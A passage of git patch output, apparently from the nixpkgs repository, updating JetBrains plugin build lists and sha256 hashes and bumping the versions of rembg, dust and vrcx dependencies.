         "243.22562.218": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip"
       },
       "name": "extra-tools-pack"
     },
@@ -1950,15 +1950,15 @@
         "webstorm"
       ],
       "builds": {
-        "251.25410.104": null,
-        "251.25410.115": null,
-        "251.25410.117": null,
         "251.25410.119": null,
-        "251.25410.120": null,
-        "251.25410.123": null,
-        "251.25410.129": null,
-        "251.25410.140": null,
-        "251.25410.148": null
+        "251.25410.170": null,
+        "251.26094.121": null,
+        "251.26094.122": null,
+        "251.26094.123": null,
+        "251.26094.127": null,
+        "251.26094.131": null,
+        "251.26094.133": null,
+        "251.26094.87": null
       },
       "name": "nix-lsp"
     },
@@ -1978,16 +1978,16 @@
       ],
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip"
       },
       "name": "markdtask"
     }
@@ -2001,8 +2001,8 @@
     "https://plugins.jetbrains.com/files/10581/629973/go-template-243.21565.122.zip": "sha256-6pZ8vHw8C08IUvU76meMTGShoSMntQABv/KBX4BRDYs=",
     "https://plugins.jetbrains.com/files/10581/711019/go-template-251.23774.318.zip": "sha256-zX1nEdq84wwQvGhV664V5bNBPVTI4zWo306JtjXcGkE=",
     "https://plugins.jetbrains.com/files/11058/734948/Extra_Icons-2025.1.5.zip": "sha256-trVQyV4PcxI1BeLtIg3fP1dOITiFRheIGpxU3GuA83w=",
-    "https://plugins.jetbrains.com/files/11349/743145/aws-toolkit-jetbrains-standalone-3.71-243.zip": "sha256-vmVmsichxO8hpzqCtLdqxScHbjwAN+7tVDnbCAh7Kuc=",
-    "https://plugins.jetbrains.com/files/11349/743148/aws-toolkit-jetbrains-standalone-3.71-251.zip": "sha256-aH9P8oYlUSKGJHzbwPZe+gOUekuGZc8PPQoJXKahfCY=",
+    "https://plugins.jetbrains.com/files/11349/768106/aws-toolkit-jetbrains-standalone-3.74.243.zip": "sha256-eWAEs18QSUate1bvO1412v+XniVEhjykgNsEn/rhGH0=",
+    "https://plugins.jetbrains.com/files/11349/768108/aws-toolkit-jetbrains-standalone-3.74.251.zip": "sha256-yklhTCVPh6vJo/ppVh3W6d7Cy8mfzfHbfOiXZT/vyI4=",
     "https://plugins.jetbrains.com/files/12024/667413/ReSharperPlugin.CognitiveComplexity-2025.1.0-eap01.zip": "sha256-SWIXjxnwAf9dju1oOgzePrTY0lPNNX54Afp5OIkGGi4=",
     "https://plugins.jetbrains.com/files/12062/630060/keymap-vscode-243.21565.122.zip": "sha256-phv8MTGKNGzRviKzX+nIVTbkX4WkU82QVO5zXUQLtAo=",
     "https://plugins.jetbrains.com/files/12062/711097/keymap-vscode-251.23774.318.zip": "sha256-obbLL8n6gK8oFw8NnJbdAylPHfTv4GheBDnVFOUpwL0=",
@@ -2012,22 +2012,22 @@
     "https://plugins.jetbrains.com/files/13017/630016/keymap-visualStudio-243.21565.122.zip": "sha256-VQqK0Cm9ddXN63KYIqimuGOh7EB9VvdlErp/VrWx8SA=",
     "https://plugins.jetbrains.com/files/13017/711726/keymap-visualStudio-251.23774.329.zip": "sha256-DKkgt0z/ui0bOLSbnKy51RL7+9HIqeriroi2otZ64mQ=",
     "https://plugins.jetbrains.com/files/13308/370912/Indent_Rainbow-2.2.0-signed.zip": "sha256-eKwDE+PMtYhrGbDDZPS5cimssH+1xV4GF6RXXg/3urU=",
-    "https://plugins.jetbrains.com/files/1347/667258/scala-intellij-bin-2024.3.35.zip": "sha256-4I75KqXyFl73S63O+00usrg8QBcuBRBgfjRmCQMpNks=",
-    "https://plugins.jetbrains.com/files/1347/748379/scala-intellij-bin-2025.1.24.zip": "sha256-S0VowbZJFSPwbydmAYoZ9mMOvgXHB90Rx+KECdybQwI=",
+    "https://plugins.jetbrains.com/files/1347/770332/scala-intellij-bin-2025.1.25.zip": "sha256-h9GNGjqTc+h+x/0TRilKmqGoPsxhPmXIKoGC/s4/PKg=",
     "https://plugins.jetbrains.com/files/14004/636643/protoeditor-243.22562.13.zip": "sha256-Tgu8CfDhO6KugfuLNhmxe89dMm+Qo3fmAg/8hwjUaoc=",
     "https://plugins.jetbrains.com/files/14004/711000/protoeditor-251.23774.318.zip": "sha256-ZYn365EY8+VP1TKM4wBotMj1hYbSSr4J1K5oIZlE2SE=",
     "https://plugins.jetbrains.com/files/14059/82616/darcula-pitch-black.jar": "sha256-eXInfAqY3yEZRXCAuv3KGldM1pNKEioNwPB0rIGgJFw=",
     "https://plugins.jetbrains.com/files/14708/475401/MarioProgressBar-1.9.jar": "sha256-mB09zvUg1hLXl9lgW1NEU+DyVel1utZv6s+mFykckYY=",
     "https://plugins.jetbrains.com/files/15976/593529/IDEA_Which-Key-0.10.3.jar": "sha256-2FlEaHf2rO6xgG3LnZIPt/XKgRGjpLSiEXCncfAf3bI=",
+    "https://plugins.jetbrains.com/files/15976/762630/IDEA_Which-Key-0.11.1.jar": "sha256-Z3q0d4jCqeBwzW0jSSM3q4MTAPaTqQuwnV3ZVHfOMR4=",
     "https://plugins.jetbrains.com/files/164/676777/IdeaVIM-2.19.0.zip": "sha256-yKpWQZGxfsKwPVTJLHpF4KGJ5ANCd73uxHlfdFE4Qf4=",
-    "https://plugins.jetbrains.com/files/164/736911/IdeaVIM-2.24.0.zip": "sha256-v9GD6SHR1MuhXrqLit/eQm2R9c50aZTjpUJN/UOKCa0=",
+    "https://plugins.jetbrains.com/files/164/756054/IdeaVIM-2.25.1.zip": "sha256-W5CtJqmejx2braLiJEYGPU29fCSOZNSQG0HZxqdOJIk=",
     "https://plugins.jetbrains.com/files/16604/734947/Extra_ToolWindow_Colorful_Icons_Subscription-2025.1.7.zip": "sha256-9DLY2HIyQR2w8xPVVKa2l7OZWqfoTvHkLGZYEnDV7/A=",
-    "https://plugins.jetbrains.com/files/17718/743191/github-copilot-intellij-1.5.45-243.zip": "sha256-wSIGsDmgZV8o6F9ekf84b06Ul16rw+wXdQx/X4D/rCI=",
+    "https://plugins.jetbrains.com/files/17718/765945/github-copilot-intellij-1.5.46-243.zip": "sha256-GKCOuZJerzhkhbl4zXWukonkygCT/Dm/tV4zRxFAP+g=",
     "https://plugins.jetbrains.com/files/18444/165585/NetBeans6.5Keymap.zip": "sha256-KrzZTKZMQqoEMw+vDUv2jjs0EX0leaPBkU8H/ecq/oI=",
     "https://plugins.jetbrains.com/files/18682/744076/Catppuccin_Theme-3.4.2.zip": "sha256-fa9GiD/PNGy8AEao99vW3DBF1FKSulu3t+wO7mdr5fk=",
     "https://plugins.jetbrains.com/files/18824/694222/CodeGlancePro-1.9.7-signed.zip": "sha256-8RjKjmadd1o/M+WTLtKPn354bbKgEht4nvWnMcRPN9w=",
     "https://plugins.jetbrains.com/files/18824/736403/CodeGlancePro-1.9.8-signed.zip": "sha256-/1lyQq7JANhcKmIaaBHZ8ZCR4p23sLjLTTq9/68Fz+c=",
-    "https://plugins.jetbrains.com/files/18922/747693/GerryThemes.jar": "sha256-BAFShNv5PYuOSTysEk1A7ykqtJBAXhkMsGWGwU3X+hY=",
+    "https://plugins.jetbrains.com/files/18922/767365/GerryThemes.jar": "sha256-NjhQX8TY9B+aOPm3RrR42OyPM2GnZ5d0/+L83fcaGM0=",
     "https://plugins.jetbrains.com/files/19275/355572/better_direnv-1.2.2-signed.zip": "sha256-hoFfIid7lClHDiT+ZH3H+tFSvWYb1tSRZH1iif+kWrM=",
     "https://plugins.jetbrains.com/files/20146/633971/Mermaid-0.0.24_IJ.243.zip": "sha256-jGWRU0g120qYvvFiUFI10zvprTsemuIq3XmIjYxZGts=",
     "https://plugins.jetbrains.com/files/20146/717659/Mermaid-0.0.25_IJ.243.zip": "sha256-QqEjnN6lUUtHkDRFWPeV3vqgGB/ZfWGVDqtk8gwJEqY=",
@@ -2036,51 +2036,58 @@
     "https://plugins.jetbrains.com/files/21667/693656/code-complexity-plugin-1.6.2.zip": "sha256-2qDeC2Fxp4/IfiLPL1JDquJDCzONCp4m92Ht2fnCn/M=",
     "https://plugins.jetbrains.com/files/21904/744652/intellij-developer-tools-plugin-7.1.0-signed.zip": "sha256-lOPUSxlbgagD0SuXTw+fEdwTxxfUHP1Kl6L+u/oa4fs=",
     "https://plugins.jetbrains.com/files/21962/732363/clouds-docker-gateway-251.25410.75.zip": "sha256-kfXB36mIOn82pq+22ryztxY9K6CgwwNarNKcLuIH9G4=",
-    "https://plugins.jetbrains.com/files/22407/736889/intellij-rust-251.25410.127.zip": "sha256-ynht10qwZ9cXWDhNJPuFOdhEAuwdr62ZAI5pRsrn7Rs=",
-    "https://plugins.jetbrains.com/files/22707/738247/continue-intellij-extension-1.0.16.zip": "sha256-H83yxmkzqwkV5W89xuGogm4n5OSppjZAymtIZdnVXWI=",
+    "https://plugins.jetbrains.com/files/22407/757316/intellij-rust-251.25410.170.zip": "sha256-drL4D+lWFdKkmjMHDsPl8nJ+0oMldR6fs4MpyuiVWYg=",
+    "https://plugins.jetbrains.com/files/22707/762617/continue-intellij-extension-1.0.21.zip": "sha256-Jdt7S5goBdA8kf09pjDdLLyRXi3AVy2BdnC1zUDm46Y=",
     "https://plugins.jetbrains.com/files/22857/716106/vcs-gitlab-IU-251.23774.435-IU.zip": "sha256-zNNFPPPnYLkSzXX3CA1IMA0cjeXMcPY58+v80/KjVkg=",
     "https://plugins.jetbrains.com/files/22857/742106/vcs-gitlab-IU-251.25410.159-IU.zip": "sha256-PwxExt+Dlq11Y5UdEwFr/2BJPST3EYY7r/3gsXoxGzo=",
-    "https://plugins.jetbrains.com/files/23029/702798/Catppuccin_Icons-1.11.0.zip": "sha256-w2vt4kuGd5T8OA5DcTTik2ksvCu0T3oynvTqYtMsVyo=",
+    "https://plugins.jetbrains.com/files/22857/764755/vcs-gitlab-IU-251.26094.114-IU.zip": "sha256-0x7t3Lo29Bwmo5pItUD/D+na2yIfd2shPiAVCZp9j/w=",
+    "https://plugins.jetbrains.com/files/23029/764814/Catppuccin_Icons-1.12.0.zip": "sha256-TZNCi4kRc7NNcV89j2UhT6y1+l1L512xTN/yTztjQfY=",
     "https://plugins.jetbrains.com/files/23043/635877/MermaidChart-1.1.8.zip": "sha256-ssaSY1I6FopLBgVKHUyjBrqzxHLSuI/swtDfQWJ7gxU=",
     "https://plugins.jetbrains.com/files/23806/664310/Oxocarbon-1.4.5.zip": "sha256-zF89Q1LE6xwBeDKv4FSQ6H6cbABjz74Z/qGwddRWp7M=",
     "https://plugins.jetbrains.com/files/23927/734950/Extra_IDE_Tweaks-2025.1.5.zip": "sha256-bwZSaUkfJ2D6XLr0e7EoismsTmvNCyRzGd4OWu6u9n0=",
     "https://plugins.jetbrains.com/files/24559/734949/Extra_Tools_Pack-2025.1.6.zip": "sha256-SC8IMca0EYEmZFrMsaK3oadaemM4FQnYiTxOTt1zQGg=",
     "https://plugins.jetbrains.com/files/26084/745003/markdtask-2025.1.2.zip": "sha256-rRSyr7nShG1q9tVSO7VRo3KoGnBcrND4D4+38gNBtqI=",
-    "https://plugins.jetbrains.com/files/631/737817/python-251.25410.129.zip": "sha256-ieQ+ZWowWGwoTj1vxxCnO4hhNeGVE36V12V5Q5MOUr8=",
+    "https://plugins.jetbrains.com/files/631/766544/python-251.26094.121.zip": "sha256-gj3s+D04AcmPxzhKDWdYFED8Ab+iHIp6fpZhxasofUQ=",
     "https://plugins.jetbrains.com/files/6884/630038/handlebars-243.21565.122.zip": "sha256-pFKAZ8xFNfUh7/Hi4NYPDQAhRRYm4WKTpCQELqBfb40=",
     "https://plugins.jetbrains.com/files/6884/711128/handlebars-251.23774.318.zip": "sha256-34s7pOsqMaGoVYhCuAZtylNwplQOtNQJUppepsl4F4Q=",
     "https://plugins.jetbrains.com/files/6981/724264/ini-251.23774.466.zip": "sha256-CnoNNfcsbP9IipuqsBV1OZu+l3h7Yrs6MSofriDvI34=",
     "https://plugins.jetbrains.com/files/6981/724294/ini-251.25410.24.zip": "sha256-dcFDO0/mzbjkrsgM+RdHBAA5davTqD5is2D7JYQiTxc=",
+    "https://plugins.jetbrains.com/files/6981/771136/ini-251.26094.141.zip": "sha256-pyB9/Rutax3lp69NcvbVKy4b4OpZZ3cJst6UrrsQCho=",
     "https://plugins.jetbrains.com/files/7086/738977/AceJump.zip": "sha256-BW47ZEUINVnhV0RZ1np7Dkf3lfyrtKoZ9ej/SVct2Xs=",
     "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip": "sha256-KY5VRiLJJwa9OVVog1W3MboZjwVboYwYm+i4eqooo44=",
     "https://plugins.jetbrains.com/files/7177/636663/fileWatcher-243.22562.13.zip": "sha256-8IHS3kmmbL8uQYnaMW7NgBIpBKT+XDJ4QDiiPZa5pzo=",
     "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip": "sha256-jNHP/vaCaolmvNUQRGmIgSR1ykjDtKqyJ69UIn5cz70=",
-    "https://plugins.jetbrains.com/files/7179/617030/MavenHelper-4.29.0-IJ2022.2.zip": "sha256-BA6gbStpYb76VS+61WCxakZyGM9Zuxokc3zfx2OBGn4=",
+    "https://plugins.jetbrains.com/files/7179/767851/MavenHelper-4.30.0-IJ2022.2.zip": "sha256-Xsw4P/KddgOuwcNBzT3UWkaQBYXLqGop+fQhoL65Dfg=",
     "https://plugins.jetbrains.com/files/7212/636678/cucumber-java-243.22562.13.zip": "sha256-q8LjYzKuTK5da+A/29Z2+bHhWKmvsIUVG1MprbsIoLM=",
     "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip": "sha256-I7gwjCnW8OXzM5eioM7h6RW9qYaQX0MWJPfHOOL9KJA=",
-    "https://plugins.jetbrains.com/files/7219/739169/Symfony_Plugin-2025.1.279.zip": "sha256-OiUfPbbSuEFTHTmAdRNev7/StLnz5d1ziebSpuEHCPA=",
+    "https://plugins.jetbrains.com/files/7219/770179/Symfony_Plugin-2025.1.280.zip": "sha256-SgldikXjVx6hUw3LqcN8/NxLLBfnr/LUc/SrIIACl7k=",
     "https://plugins.jetbrains.com/files/7320/718466/PHP_Annotations-12.0.0.zip": "sha256-HfTd3zT/7sOrYutEkEzpFAu6AijrFrpHJg1ftP3N87Y=",
     "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip": "sha256-gN9XqO/x41scgJ9dzTdC4i4hIZJpwSeR7OjU2BG8gzU=",
+    "https://plugins.jetbrains.com/files/7322/766528/python-ce-251.26094.121.zip": "sha256-8om1u4KfXRkMUV8YzXWa1cgMeqTCRKSvDUh86ZBzPTE=",
     "https://plugins.jetbrains.com/files/7391/658997/asciidoctor-intellij-plugin-0.43.6.zip": "sha256-3RJ7YVFtynyqeLIzdrirCMbWNZmUkJ+DT/9my71H0Dk=",
-    "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip": "sha256-OqjgUctKp9bxVX3zXR48NGGUgZxmwBK6Olcsz0ZWEZ8=",
-    "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar": "sha256-Z7ZWDomXnTdHFKOElMkt53imef6aT7H5XeD6lOOFxfQ=",
+    "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip": "sha256-//bXaBJI+eIAYCuXek0pl9h7Utmrtui68QC1vrxPY8c=",
+    "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar": "sha256-DobKZKokueqq0z75d2Fo3BD8mWX9+LpGdT9C7Eu2fHc=",
     "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip": "sha256-cnVK5tsExjEAqP3cuh1PgNjrZYt2dVGQ/RL/jr89Zew=",
     "https://plugins.jetbrains.com/files/7724/724240/clouds-docker-impl-251.23774.466.zip": "sha256-2o1CaX3Xe86ZksIMW9ZqvnuvfvnqSddDDxEU/SFWER8=",
     "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip": "sha256-p+7U17bTsrxGFVR+Kguma43FOHW0d3NQKRjwxONqL1g=",
+    "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip": "sha256-+WJP3tXjIC4eGkssPrNf+tGEIKGQeLP3CcFtyXYUlQg=",
     "https://plugins.jetbrains.com/files/8097/636616/graphql-243.22562.13.zip": "sha256-rr2pO0mIsqWXYZgwEhcQJlk0lQabxnIPxqRCGdTFaTw=",
     "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip": "sha256-O+gSW36MwqQqUiZBQl8J4NFNK+jFowtT9k1ykhSraxM=",
+    "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip": "sha256-5QQ3zmfgtcy4cSyGale9GvENuiWV8cQmzTEfxPkox2A=",
     "https://plugins.jetbrains.com/files/8195/715934/toml-251.23774.429.zip": "sha256-cNWs+ycKlqednnqJAm4AkqF3LTdMt8jhwWWiEDdKQE4=",
     "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip": "sha256-DYgGpnlqpr/d/hJXD6uYsa2tzErM4uCofgok/3WayYs=",
+    "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip": "sha256-l1dKtjk1YkO2Bd5H/4MDIGAyqi3tNMsDIrVNoMDwzEs=",
     "https://plugins.jetbrains.com/files/8327/615097/Minecraft_Development-2024.3-1.8.2.zip": "sha256-4c1nxjbEsNs9twmQnJllk1OIVmm0nnUYZ0R7f/6bJt4=",
-    "https://plugins.jetbrains.com/files/8327/718480/Minecraft_Development-2025.1-1.8.4.zip": "sha256-PNKG9qHZRrPDw95ZWs8gwkcomxFFLl5WEvCk6NR7gSk=",
+    "https://plugins.jetbrains.com/files/8327/770049/Minecraft_Development-2025.1-1.8.5.zip": "sha256-JD/OcG0B/KUMNmNsnRmiWzZ3QWVcFjaqNnQW8WbV1zc=",
     "https://plugins.jetbrains.com/files/8554/716074/featuresTrainer-251.23774.436.zip": "sha256-P6ux6UgbjeJW3lF4w696bZ73zumY8hEm1iM98IsKgTQ=",
     "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip": "sha256-iK3cy0Nf87rLV0m/t3LJv65Klij/9L5l9ad2UW9O00w=",
+    "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip": "sha256-qcMxLM2Y/Q18r718VasRMAlKppbH+ra/6eKCkmVL88s=",
     "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip": "sha256-OFisV6Vs/xlbDvchxfrREDVgVh7wcfGnot+zUrgQU6M=",
     "https://plugins.jetbrains.com/files/9164/636661/gherkin-243.22562.13.zip": "sha256-aG15ecfrsvNkpLjHclJEVKEW95GvBH+dEaqa+VCRkUo=",
     "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip": "sha256-Boy61dRieXmWrnTMfqqYZbdG/DNQ24KdguKN2fcZ+eg=",
     "https://plugins.jetbrains.com/files/9525/603167/idea-php-dotenv-plugin-2024.3.zip": "sha256-hR7hC2phDJnHXxPy80WlEDFAhZHtMCu7nqYvAb0VeTI=",
     "https://plugins.jetbrains.com/files/9525/711041/dotenv-251.23774.318.zip": "sha256-0c/2qbuu+M6z0gvpme+Mkv23JlQKNTUU+9GL9mh2IFw=",
-    "https://plugins.jetbrains.com/files/9568/728728/go-plugin-251.25410.59.zip": "sha256-hBZozpcXPSsvSH5/8hJ2OhA3ukCsLXvXGlqYMv2GtFA=",
+    "https://plugins.jetbrains.com/files/9568/766540/go-plugin-251.26094.121.zip": "sha256-P6XLFObtTrnxNWvNZag73hFVVY82t3+YQ2G31cwAVgg=",
     "https://plugins.jetbrains.com/files/9707/702581/ANSI_Highlighter_Premium-25.1.5.jar": "sha256-XYCD4kOHDeIKhti0T175xhBHR8uscaFN4c9CNlUaCDs=",
     "https://plugins.jetbrains.com/files/9707/702582/ANSI_Highlighter_Premium-24.3.4.jar": "sha256-STDhSOshNJU8YOjd1ZMxNl4WaHEp81t9TimFVQGZgWw=",
     "https://plugins.jetbrains.com/files/9792/633158/Key_Promoter_X-2024.2.2.zip": "sha256-Mzmmq0RzMKZeKfBSo7FHvzeEtPGIrwqEDLAONQEsR1M=",

From f03a87d2f9ee9c24202ed866108a14fab94b3439 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 19:03:06 +0000
Subject: [PATCH 2108/4511] rembg: 2.0.66 -> 2.0.67

(cherry picked from commit 117c08cae27e94b7afad5ea0902e0d033ecfdaa3)
---
 pkgs/development/python-modules/rembg/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/rembg/default.nix b/pkgs/development/python-modules/rembg/default.nix
index 9cd842f33af1..aa58b0a7d56b 100644
--- a/pkgs/development/python-modules/rembg/default.nix
+++ b/pkgs/development/python-modules/rembg/default.nix
@@ -33,14 +33,14 @@
 
 buildPythonPackage rec {
   pname = "rembg";
-  version = "2.0.66";
+  version = "2.0.67";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "danielgatis";
     repo = "rembg";
     tag = "v${version}";
-    hash = "sha256-MTwi9Cy9JWcI0CgUKfnPiA3MFBl/Ie0rYQOm0jqgyS4=";
+    hash = "sha256-QHx1qa1tErneLC1H6df6mTbKTWPh3BzJUqeE65D2c4E=";
   };
 
   build-system = [

From 9c953ac056f80052d5ad718307be6e8b5e520653 Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Sun, 6 Jul 2025 22:08:01 +0200
Subject: [PATCH 2109/4511] dust: 1.2.1 -> 1.2.2

Changelog: https://github.com/bootandy/dust/releases/tag/v1.2.2
Diff: https://github.com/bootandy/dust/compare/v1.2.1...v1.2.2
(cherry picked from commit acd025cc44b6cb081ef30938a5c1cd38b75a2e3d)
---
 pkgs/by-name/du/dust/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/du/dust/package.nix b/pkgs/by-name/du/dust/package.nix
index 8a27503204b5..9ec638ec6c1f 100644
--- a/pkgs/by-name/du/dust/package.nix
+++ b/pkgs/by-name/du/dust/package.nix
@@ -12,13 +12,13 @@ rustPlatform.buildRustPackage (finalAttrs: {
   # Since then, `dust` has been freed up, allowing this package to take that attribute.
   # However in order for tools like `nix-env` to detect package updates, keep `du-dust` for pname.
   pname = "du-dust";
-  version = "1.2.1";
+  version = "1.2.2";
 
   src = fetchFromGitHub {
     owner = "bootandy";
     repo = "dust";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-3Mk2gPlnm2kTRbn74T1YDH/DnjAyhFZQFK83OQaDNeo=";
+    hash = "sha256-tj+prO7KZrw0lrZahbw0c8TcfNrIc1Z08Tm1MHpOFLM=";
     # Remove unicode file names which leads to different checksums on HFS+
     # vs. other filesystems because of unicode normalisation.
     postFetch = ''
@@ -27,7 +27,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-IZv4XQmBvxUp5k5bn5B4qTJAVBrRO0OZaUlqCni6NpI=";
+  cargoHash = "sha256-1pKk41dQlcrPzJ01uvo87G9iTDiBq9XHGOoZ0OH4Mls=";
 
   nativeBuildInputs = [ installShellFiles ];
 

From db644fbd43a89531c847194ff1cb4d5092ab4ea5 Mon Sep 17 00:00:00 2001
From: Sapphire <imsapphire0@gmail.com>
Date: Sun, 29 Jun 2025 19:28:36 -0500
Subject: [PATCH 2110/4511] vrcx: 2025.05.09 -> 2025.06.30

(cherry picked from commit e4fd89fc6a5a49e4421df367016fdfe86ee13e29)
---
 pkgs/by-name/vr/vrcx/deps.json   | 37 ++++++++++++++++++--------------
 pkgs/by-name/vr/vrcx/package.nix | 13 +++++------
 2 files changed, 28 insertions(+), 22 deletions(-)

diff --git a/pkgs/by-name/vr/vrcx/deps.json b/pkgs/by-name/vr/vrcx/deps.json
index a65e6cabd866..50b31b992525 100644
--- a/pkgs/by-name/vr/vrcx/deps.json
+++ b/pkgs/by-name/vr/vrcx/deps.json
@@ -1,8 +1,8 @@
 [
   {
     "pname": "DiscordRichPresence",
-    "version": "1.2.1.24",
-    "hash": "sha256-oRNrlF1/yK0QvrW2+48RsmSg9h9/pDIfA56/bpoHXFU="
+    "version": "1.3.0.28",
+    "hash": "sha256-KdwSl5ysunAbC21cXRrSROO2XN/ZscIVdq6+IH+5Fbs="
   },
   {
     "pname": "EntityFramework",
@@ -116,8 +116,8 @@
   },
   {
     "pname": "Microsoft.Win32.SystemEvents",
-    "version": "9.0.4",
-    "hash": "sha256-vWObhv9e/nPVaMkEYb4lTlMmX/v4fluVWuHAtxYrUIQ="
+    "version": "9.0.6",
+    "hash": "sha256-iIS1YZ8X8Zfahg2jOW3ODCZwmSSsp96epu+kT+wieQg="
   },
   {
     "pname": "NETStandard.Library",
@@ -136,8 +136,8 @@
   },
   {
     "pname": "NLog",
-    "version": "5.4.0",
-    "hash": "sha256-l2R0UHHCL02KPMC96e62AL2ONFD0PAty619y9UnD25A="
+    "version": "5.5.0",
+    "hash": "sha256-WkuKGo3iEqJruQuRZXMksqIbAQjZbFIANcm0zZr/fYE="
   },
   {
     "pname": "runtime.any.System.Collections",
@@ -429,6 +429,11 @@
     "version": "2.1.3",
     "hash": "sha256-lUTFK7OBtiXU1gyROax4GXDRvNj3aqgGlZZvicc37VQ="
   },
+  {
+    "pname": "SixLabors.ImageSharp",
+    "version": "3.1.10",
+    "hash": "sha256-6bVTSCxLY8Dt+9lpo4F4xEtMv5oPve2vS76O/lcuIok="
+  },
   {
     "pname": "SixLabors.ImageSharp",
     "version": "3.1.8",
@@ -486,8 +491,8 @@
   },
   {
